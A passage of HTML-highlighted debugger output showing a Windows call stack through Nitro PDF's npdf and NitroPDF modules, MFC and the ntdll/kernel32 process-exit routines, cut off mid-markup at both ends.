class=\"crayon-cn\">0133da40<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ntdll<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">LdrShutdownProcess<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x141<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-12\"><span class=\"crayon-cn\">09<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">011457cc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">76ca79c5<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">77e8f3b0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ffffffff <\/span><span class=\"crayon-v\">ntdll<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">RtlExitUserProcess<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x74<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-13\"><span class=\"crayon-cn\">0a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">011457e0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">693926a6<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">ffffffff<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">01145834<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">69392aae<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">kernel32<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">ExitProcess<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x15<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-14\"><span class=\"crayon-cn\">0b<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">011457ec<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">69392aae<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ffffffff <\/span><span class=\"crayon-i\">bf850c3a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16cf003a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxRect2<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Width<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1ecd06<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-15\"><span class=\"crayon-cn\">0c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">01145834<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">69392ad2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">ffffffff<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxRect2<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Width<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1ed10e<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-16\"><span class=\"crayon-cn\">0d<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">01145848<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">6916a9c7<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">ffffffff<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">690bb918<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">bf850c62 <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxRect2<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Width<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1ed132<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-17\"><span class=\"crayon-cn\">0e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114586c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">690ff453<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">bf850cb6<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16cf003a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16cf0030<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Thumbnail<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x14907<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-18\"><span class=\"crayon-cn\">0f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">011458b8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">690e7319<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16cf003a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000200<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16cefdc0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImageJAS<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Encode<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x5abb3<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-19\"><span class=\"crayon-cn\">10<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">01145920<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">690dfc47<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">bf850d7a <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImageJAS<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Encode<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x42a79<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-20\"><span class=\"crayon-cn\">11<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">01145974<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">6907c89d<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1691a5b0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">bf85f4ca <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImageJAS<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Encode<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x3b3a7<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-21\"><span class=\"crayon-cn\">12<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114a0c4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">6907da8e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114aab4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114ab04<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">bf85f556 <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImagePNG<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">user_write_data<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x6bc1d<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-22\"><span class=\"crayon-cn\">13<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114a158<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68eb0f95<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114aae4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00034627<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImagePNG<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">user_write_data<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x6ce0e<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-23\"><span class=\"crayon-cn\">14<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114a178<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68eb1660<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114aae4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00034627<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x88f35<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-24\"><span class=\"crayon-cn\">15<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114a1d8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68eb0d1a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0404004c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114aae4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x89600<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-25\"><span class=\"crayon-cn\">16<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114aa80<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68dea973<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114aae4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00034627<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x88cba<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-26\"><span class=\"crayon-cn\">17<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114ab28<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68dea846<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">04080055<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">bf85ffb2 <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">TerminateApp<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xe27a3<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-27\"><span class=\"crayon-cn\">18<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114abbc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68dea566<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">04090034<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">bf85ffea <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">TerminateApp<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xe2676<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-28\"><span class=\"crayon-cn\">19<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114abe4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68d29e9b<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">04090034<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000002<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">TerminateApp<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xe2396<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-29\"><span class=\"crayon-cn\">1a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114ac0c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68d29952<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">04090034<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000002<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">TerminateApp<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x21ccb<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-30\"><span class=\"crayon-cn\">1b<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114ac24<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68f93f9b<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">04090034<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000002<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">TerminateApp<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x21782<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-31\"><span class=\"crayon-cn\">1c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114ac5c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68efe9c0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00001de2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000ce4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">000009f6<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x16bf3b<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-32\"><span class=\"crayon-cn\">1d<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114b6dc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68fa54c8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114b77c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">bf85953e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">061e8998<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xd6960<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-33\"><span class=\"crayon-cn\">1e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114c130<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68e3e6a6<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16ba3598<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x17d468<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-34\"><span class=\"crayon-cn\">1f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114c168<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68e4133d<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16c8c150<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114c1b0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16ba3438<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x16646<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-35\"><span class=\"crayon-cn\">20<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114c1a8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68e37ca2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">061e8998<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">bf859df6<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16ba3438<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x192dd<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-36\"><span class=\"crayon-cn\">21<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114c9f8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68e5b509<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">bf859a92<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0575f818<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16ba3438<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xfc42<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-37\"><span class=\"crayon-cn\">22<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114ce9c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68e5a956<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114d730<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68e4016b<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x334a9<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-38\"><span class=\"crayon-cn\">23<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114cea4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68e4016b<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">014e4020<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114e14c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x328f6<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-39\"><span class=\"crayon-cn\">24<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114d730<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68d786df<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4b011fcc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114e0fc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-v\">CxImage<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1810b<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-40\"><span class=\"crayon-cn\">25<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114dff8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">68d7a771<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">4b011fcc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114e0fc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">TerminateApp<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x7050f<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-41\"><span class=\"crayon-cn\">26<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114e020<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">014e6381<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16bc08e8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114e0f4<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">bc2b49e1 <\/span><span class=\"crayon-v\">npdf<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">TerminateApp<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x725a1<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-42\"><span class=\"crayon-cn\">27<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114e634<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">014eb65d<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16ca1778<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">5b012454<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114e678<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">NitroPDF<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxIOFile<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Write<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x92521<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-43\"><span class=\"crayon-cn\">28<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114ee9c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">73f8b443<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114eeb8<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">bf88cba9<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16ca1778<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">NitroPDF<\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-v\">CxIOFile<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Write<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x977fd<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-44\"><span class=\"crayon-cn\">29<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114ef1c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">73f9ae0c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">bf88cb9d<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16ca1778<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16ca1778<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mfc120u<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x22b443<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-45\"><span class=\"crayon-cn\">2a<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114efe0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">73f9a901<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mfc120u<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x23ae0c<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-46\"><span class=\"crayon-cn\">2b<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114f000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">73f98f33<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mfc120u<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x23a901<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59767285e1379144962841-47\"><span class=\"crayon-cn\">2c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114f070<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">73f99155<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">16ca1778<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">004509c0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000f<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mfc120u<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x238f33<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59767285e1379144962841-48\"><span class=\"crayon-cn\">2d<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0114f090<\/span><span class=\"crayon-h\"> <\/span><span 